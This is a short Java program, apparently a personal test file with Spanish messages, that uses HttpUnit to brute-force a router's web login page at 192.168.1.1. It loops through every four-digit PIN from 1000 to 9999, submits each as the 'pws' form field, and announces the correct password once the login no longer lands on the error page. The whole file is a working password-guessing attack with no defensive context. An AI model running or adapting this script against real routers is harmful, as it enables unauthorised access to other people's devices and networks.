public class Prueva {
 public static void main(String[] args) throws IOException, SAXException, InterruptedException {
  WebConversation wc = new WebConversation();
  WebResponse   resp = wc.getResponse( "http://192.168.1.1" ); // read this page
  String url = "http://192.168.1.1/loginpserr.stm";
  WebForm form = resp.getForms()[1];      // select the second form in the page
 
  for (int i = 1000; i < 10000; i++) {
   form.setParameter("pws", String.valueOf(i));
   form.submit();
   System.out.println(i);
   if(!url.toString().equals(wc.getCurrentPage().getURL().toString())){
    System.out.println(i+ " es la clave correcta!!!! ENHORABUENA!");
    break;
   }
  }
 }
}